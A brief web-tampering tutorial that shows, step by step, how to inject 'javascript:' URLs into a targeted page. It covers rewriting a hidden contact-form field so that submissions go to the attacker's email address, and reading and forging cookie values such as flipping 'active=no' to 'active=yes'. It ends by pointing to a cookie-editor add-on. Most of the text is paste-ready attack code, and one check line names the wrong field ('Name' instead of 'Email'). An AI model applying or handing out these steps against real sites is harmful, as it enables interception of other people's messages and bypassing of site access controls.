Assuming the page has a contact form, where submitted data is sent to an email address included in a hidden HTML input tag as in the following code:

…
<form name="ContactForm" action="submit.php" method="post">
<input type="hidden" name="Email" value="admin@website.com" />
…

To change the email address to: myemail@hotmail.com, the following code can be injected:

javascript:void(document.ContactForm.Email.value="myemail@hotmail.com");

Where ContactForm is the name of the form and Email is the name of the input tag.

To check that the value has actually been changed, view it with:

javascript:alert(document.ContactForm.Name.value);

If the form has no name, check the form order in the page, if it is the first, you may refer to it using: forms[0]. Same thing applies to the input tag, you may refer to it using: elements[0].

This way, assuming the form is the first, and the order of the input tag in that form is 4, our codes will be:

javascript:void(document.forms[0].elements[3].value="myemail@hotmail.com");

and

javascript:alert(document.forms[0].elements[3].value);

First, visit the targeted webpage and inject the following code to view realted cookie’s fields and the values assigned to them.

javascript:alert(document.cookie);

Second, to edit a certain value use:

javascript:void(document.cookie="Field=myValue");

For example, if the following field exist:

active=no

The value can be changed to yes with the following code:

javascript:void(document.cookie="active=yes");

If the field’s name does not exist, it will be created.
To have more control over cookies, refer to a proper tutorial and inject the codes in a similar way.

In addition, there are cookies editors available online such as the following PlugIn for Mozilla FireFox:

Add N Edit Cookies
Homepage: http://addneditcookies.mozdev.org.
Download latest release from: https://addons.mozilla.org/en-US/firefox/addon/573.